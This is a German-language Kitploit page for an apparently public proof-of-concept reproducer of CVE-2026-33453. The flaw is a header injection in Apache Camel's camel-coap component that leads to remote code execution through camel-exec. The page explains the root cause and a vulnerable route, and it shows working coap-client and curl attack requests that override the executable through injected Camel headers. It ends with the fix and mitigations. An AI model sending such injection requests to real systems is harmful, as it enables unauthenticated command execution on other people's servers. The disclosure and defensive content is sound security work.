Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33453 — Reproducer für CVE-2026-33453: Apache Camel camel-coap Header-Injection zu RCE über camel-exec | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-33453
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHuboscerd/cve-2026-33453

CVE-2026-33453

Reproducer für CVE-2026-33453: Apache Camel camel-coap Header-Injection zu RCE über camel-exec

Repository anzeigen
3vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

camel-coap Header Injection → RCE Vulnerability Reproducer (CVE-2026-33453)

Dieses Projekt demonstriert eine Camel-Message-Header-Injection-Sicherheitslücke in Apache Camels camel-coap-Komponente, verfolgt als CVE-2026-33453. Ein nicht authentifizierter Angreifer, der ein einzelnes CoAP-UDP-Paket senden kann, kann beliebige Camel*-Kontroll-Header in den Exchange injizieren und so Remote Code Execution erreichen, wenn die Route an einen header-sensitiven Producer wie camel-exec weiterleitet.

Advisory: https://camel.apache.org/security/CVE-2026-33453.html

Zusammenfassung der Sicherheitslücke

EigenschaftWert
Komponentecamel-coap
Betroffene Klasseorg.apache.camel.coap.CamelCoapResource (handleRequest)
UrsacheCoAP-URI-Abfrageparameter werden ohne HeaderFilterStrategy in Exchange-Header kopiert
CWECWE-915: Unsachgemäß kontrollierte Modifikation dynamisch bestimmter Objektattribute
AuswirkungRemote Code Execution (über header-sensitive Producer, z. B. camel-exec)
AngriffsflächeEin einzelnes nicht authentifiziertes CoAP-UDP-Datagramm (Standardport 5683)
Betroffene VersionenVon 4.14.0 vor 4.14.6 und von 4.15.0 vor 4.18.1
Behobene Versionen4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
MelderHyunwoo Kim (@v4bel)

Technische Details

In den betroffenen Versionen iteriert CamelCoapResource.handleRequest() über die URI-Abfrageoptionen der CoAP-Anfrage und kopiert jede einzelne in die Camel Exchange In-Header, ohne einen HeaderFilterStrategy anzuwenden:

root@kitploit:~
// CamelCoapResource.handleRequest() - betroffene Version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // KEIN HeaderFilterStrategy!
}

CoAPEndpoint erweitert DefaultEndpoint (nicht DefaultHeaderFilterStrategyEndpoint) und CoAPComponent implementiert HeaderFilterStrategyComponent nicht, sodass überhaupt kein Filter vorhanden ist. Ein Angreifer kann daher jeden Header setzen – einschließlich Camel-interner Camel*-Kontroll-Header – indem er einfach Abfrageparameter zur CoAP-Anfrage-URI hinzufügt.

Wenn die Route die Nachricht an einen header-sensitiven Producer weiterleitet, ändern diese Header sein Verhalten. Bei camel-exec überschreiben die Header CamelExecCommandExecutable und CamelExecCommandArgs das auf dem Endpunkt konfigurierte ausführbare Programm und die Argumente (in den betroffenen Versionen standardmäßig beachtet), was eine beliebige Betriebssystembefehlsausführung ermöglicht. Die Standardausgabe des Befehls wird zurück in den Exchange-Body geschrieben und in der CoAP-Antwort zurückgegeben, was einen interaktiven RCE-Kanal darstellt.

Die Opfer-Route

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // fester, harmloser Befehl
    .convertBodyTo(String.class);   // stdout in der CoAP-Antwort zurückgeben

Eine harmlose Anfrage führt echo hello aus. Ein Angreifer überschreibt den Befehl über injizierte Header.

Voraussetzungen

  • Java 17+
  • Maven 3.8+

CoAP ist UDP-basiert (RFC 7252) ohne eingebaute Authentifizierung (DTLS ist optional und standardmäßig deaktiviert), daher ist kein externer Dienst oder Docker-Container erforderlich – die Reproducer-App ist sowohl der verwundbare CoAP-Server als auch ein gebündelter Angreifer-Client (ein roher Client wie libcoaps coap-client funktioniert ebenfalls).

Reproduktionsschritte

Schritt 1: Bauen und Starten

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Die App startet die verwundbare Route auf coap://0.0.0.0:5683/run und einen Hilfs-REST-Controller auf 8080.

Schritt 2: Harmlose Anfrage (Funktionsprüfung)

root@kitploit:~
curl http://localhost:8080/exploit/normal
# -> CoAP-Antwort: hello

Schritt 3: Angriff – exec-Überschreibungs-Header über die CoAP-URI-Abfrage injizieren

root@kitploit:~
# Standard harmloser Nachweis: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Anderes ausführbares Programm/Argumente wählen:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

Im Hintergrund sendet der gebündelte CoAP-Client ein einzelnes Datagramm:

root@kitploit:~
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned

Mit einem rohen CoAP-Client stattdessen:

root@kitploit:~
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

Schritt 4: Verifizieren

root@kitploit:~
ls -la /tmp/pwned

Wenn /tmp/pwned existiert, hat der injizierte Header den exec-Befehl überschrieben → RCE.

Angriffsvektoren

Die Injektion benötigt nur einen header-sensitiven Producer nachgeschaltet. Das Advisory listet unter anderem:

  • camel-exec – CamelExecCommandExecutable / CamelExecCommandArgs → Betriebssystembefehlsausführung
  • camel-file – CamelFileName → beliebiges Dateischreiben / Pfad-Traversal
  • camel-sql – abfragesteuernde Header
  • camel-bean – CamelBeanMethodName → eine andere Methode aufrufen
  • Template-Komponenten (freemarker/velocity) – Ressourcenauswahl-Header

Ausnutzungsbedingungen

  1. Eine Camel-Route, die von coap://... konsumiert.
  2. Die Route leitet an einen (oder wird beeinflusst von einem) header-sensitiven Producer weiter.
  3. Kein removeHeaders("Camel*") zwischen dem CoAP-Consumer und diesem Producer.

Es ist keine Authentifizierung erforderlich; ein einzelnes UDP-Datagramm an Port 5683 reicht aus.

Empfohlener Fix

Der Fix (CAMEL-23222) lässt CoAPEndpoint einen HeaderFilterStrategy tragen und wendet ihn in handleRequest() an, bevor Header gesetzt werden, sodass Camel*-präfigierte Namen an der CoAP-Grenze gefiltert werden wie bei jedem anderen Transport:

root@kitploit:~
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}

Abhilfe

Bis zum Upgrade:

  1. Camel-Header aus CoAP-Nachrichten entfernen: .removeHeaders("Camel*") direkt nach dem from("coap:...").
  2. Header-sensitive Producer nach nicht vertrauenswürdigen CoAP-Eingaben vermeiden oder deren Konfiguration so festlegen, dass Header sie nicht überschreiben können.
  3. DTLS aktivieren (coaps://) mit Client-Authentifizierung, um den Zugriff auf den Endpunkt einzuschränken.
  4. Netzwerksegmentierung: CoAP-Port in einem vertrauenswürdigen Netzwerk halten.

Dateien

root@kitploit:~
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot Einstiegspunkt
    │   ├── CoapExecRoute.java        # die verwundbare Opfer-Route (coap -> exec)
    │   └── ExploitController.java    # gebündelter CoAP-Angreifer-Client (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Sicherheitslücke. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen